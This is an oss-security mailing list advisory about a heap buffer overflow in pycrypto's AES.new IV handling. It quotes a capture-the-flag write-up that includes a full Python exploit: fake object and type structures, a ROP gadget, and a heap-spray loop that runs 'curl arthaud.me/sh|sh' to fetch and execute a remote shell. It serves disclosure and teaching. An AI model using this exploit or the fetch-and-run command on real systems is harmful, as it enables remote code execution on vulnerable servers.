Follow @Openwall on Twitter for new release announcements and other news
[<prev] [next>] [thread-next>] [day] [month] [year] [list]
Date: Mon, 26 Dec 2016 20:09:25 -0500
From: Leo Famulari <leo@...ulari.name>
To: oss-security <oss-security@...ts.openwall.com>
Subject: Buffer overflow in pycrypto

I noticed this bug report in the pycrypto bug tracker:

"AES.new with invalid parameter crashes python"
https://github.com/dlitz/pycrypto/issues/176

The original report, from that GitHub page:
------
In Crypto 2.6.1 and Python 2.7.10 and 3.4.3
folowing code causes crash:

from Crypto.Cipher import AES

AES.new(b'\000' * 16, AES.MODE_ECB, b'\000' * 540)
------

Apparently this issue is fixed on pycrypto's development branch with
commit 8dbe0dc3eea5c689d4f76b37b93fe216cf1f00d4, but this change can't
be applied directly to the latest pycrypto release tarball; too much has
changed.

https://github.com/dlitz/pycrypto/commit/8dbe0dc3eea5c689d4f76b37b93fe216cf1f00d4

Linked from the pycrypto bug #176 discussion, someone has used the bug
to get a remote shell. This report is reproduced in the remainder of
this message:

https://pony7.fr/ctf:public:32c3:cryptmsg

cryptmsg - Writeup by Maxima
Challenge

Can you find the bug?

http://136.243.194.56:8000/
Solution

The website allows us to encrypt and decrypt messages using AES. The
encryption is performed by cryptmsg.py, using the python library
pycrypto. After a few searches, I found out that there was a bug in
pycrypto: https://github.com/dlitz/pycrypto/issues/176. We can use this
vulnerability to get a shell.

I first tried to guess the architecture on the server. I managed to get
it by causing a python stacktrace:

curl "http://136.243.194.56:8000/cgi-bin/cryptmsg.py?what=enc&msg=AAAAAAAAAAAAAAAA&key=AAAAAAAAAAAAAAAA&mode=42&iv=AAAAAAAAAAAAAAAA"

In the stacktrace, the path to the shared object is
/usr/lib/pyth…t-packages/Crypto/Cipher/_AES.i386-linux-gnu.so, se we
know that the architecture is i386 (x86 32bits). I also assumed that the
server runs on Ubuntu Server 15.10, since that was what they were
running on some of their other challenge servers. I quickly set up a
virtual machine to have the same environment.

Then I dove more deeply in the source code. Here is the code in
src/block_templace.c in pycrypto source code:

static ALGobject *
ALGnew(PyObject *self, PyObject *args, PyObject *kwdict)
{
	unsigned char *key, *IV;
	ALGobject * new=NULL;
	int keylen, IVlen=0, mode=MODE_ECB, segment_size=0;
	PyObject *counter = NULL;
	int counter_shortcut = 0;
 
        // [...]
 
	/* Set default values */
	if (!PyArg_ParseTupleAndKeywords(args, kwdict, "s#|is#Oi",
					 kwlist,
					 &key, &keylen, &mode, &IV, &IVlen,
					 &counter, &segment_size)) 
	{
		return NULL;
	}
 
	// [...]
        new = newALGobject();
        // [...]
 
	memset(new->IV, 0, BLOCK_SIZE);
	memset(new->oldCipher, 0, BLOCK_SIZE);
	memcpy(new->IV, IV, IVlen); // buffer overflow!
	new->mode = mode;
	new->count=BLOCK_SIZE;   /* stores how many bytes in new->oldCipher have been used */
	return new;
}

And here is the ALGobject structure:

#define BLOCK_SIZE 16
 
typedef struct 
{
	PyObject_HEAD 
	int mode, count, segment_size;
	unsigned char IV[BLOCK_SIZE], oldCipher[BLOCK_SIZE];
	PyObject *counter;
	int counter_shortcut;
	block_state st;
} ALGobject;

Thus there is a heap buffer overflow on IV. We can basically write as
many bytes as we want on a part of the heap.

The next step is to get the control of the execution flow. The idea is
to overwrite the counter pointer to introduce a fake python object. Here
is what a python object structure looks like:

typedef struct _object {
    Py_ssize_t ob_refcnt;
    struct _typeobject *ob_type;
} PyObject;

The first element is the reference counter on this object. The second
element is a pointer on the type of the object. Here is the type
structure:

typedef struct _typeobject {  
    Py_ssize_t ob_refcnt;
    struct _typeobject *ob_type;
    Py_ssize_t ob_size; /* Number of items in variable part */
 
    const char *tp_name; /* For printing, in format "<module>.<name>" */
    Py_ssize_t tp_basicsize, tp_itemsize; /* For allocation */
 
    /* Methods to implement standard operations */
 
    destructor tp_dealloc;
    printfunc tp_print;
    getattrfunc tp_getattr;
    setattrfunc tp_setattr;
    cmpfunc tp_compare;
    reprfunc tp_repr;
 
    // [...]
} PyTypeObject;

We are going to create a fake object associated to a fake type. When the
object gets deallocated, the function pointer tp_dealloc will be used.
In the fake type, we will put a pointer on a gadget to get a shell.
Fortunately, system() is available in the PLT.

I found a nice gadget in the python binary, using ropper:

   0x81580d6:	push   edx
   0x81580d7:	call   DWORD PTR [eax+0x18]

When the object is deallocated, edx contains the address of the type,
and eax contains the address of the object. We can create a fake object
and a fake type that will execute a command:

def p(v):
    return struct.pack('<I', v)
 
fake_object = p(1) # ref counter
fake_object += p(fake_type_addr) # type object
fake_object += b'\x00' * 16
fake_object += p(system_addr)
 
fake_type = cmd.ljust(24, b'\x00')
fake_type += p(call_gadget)

Here, call_gadget = 0x81580d6 and system_addr = 0x0805a2f0 (you can get
them easily using gdb). The problem is that we don't know yet where our
fake_object and fake_type will be because of ASLR. The heap is mapped to
a random address. Because the server runs on a 32bits architecture, we
know that we can bruteforce it. We will put our fake_object and
fake_type a lot of times in the memory, and use for fake_object_addr a
potential address right in the middle of the heap.

I will execute the command curl arthaud.me/sh|sh that'll give me a
shell. Here is my final script:

#!/usr/bin/env python3
import struct
import requests
 
 
def p(v):
    return struct.pack('<I', v)
 
cmd = b'curl arthaud.me/sh|sh\x00'
 
system_addr = 0x0805a2f0
call_gadget = 0x81580d6 # push edx; call [eax + 0x18]
fake_object_addr = 0x84d673c
fake_type_addr = fake_object_addr + 0x1c
 
fake_object = p(1) # ref counter
fake_object += p(fake_type_addr) # type object
fake_object += b'\x00' * 16
fake_object += p(system_addr)
 
assert len(cmd) <= 24
fake_type = cmd.ljust(24, b'\x00')
fake_type += p(call_gadget)
 
payload = b'I' * 32
payload += p(fake_object_addr)
 
data = (fake_object + fake_type) * 500
 
qs = 'key=' + 'A' * 16
qs += '&mode=1'
qs += '&iv=' + ''.join('%%%02x' % c for c in payload)
qs += '&x=' + ''.join('%%%02x' % c for c in data)
 
i = 1
while True:
    print('\rAttempt %d' % i, end='')
    i += 1
    requests.get('http://136.243.194.56:8000/cgi-bin/cryptmsg.py?%s' % qs)

You can also use Ricky Zhou exploit.

After a few hours, I finally got a shell!

Download attachment "signature.asc" of type "application/pgp-signature" (834 bytes)

Powered by blists - more mailing lists

Please check out the Open Source Software Security Wiki, which is counterpart to this mailing list.

Confused about mailing lists and their use? Read about mailing lists on Wikipedia and check out these guidelines on proper formatting of your messages.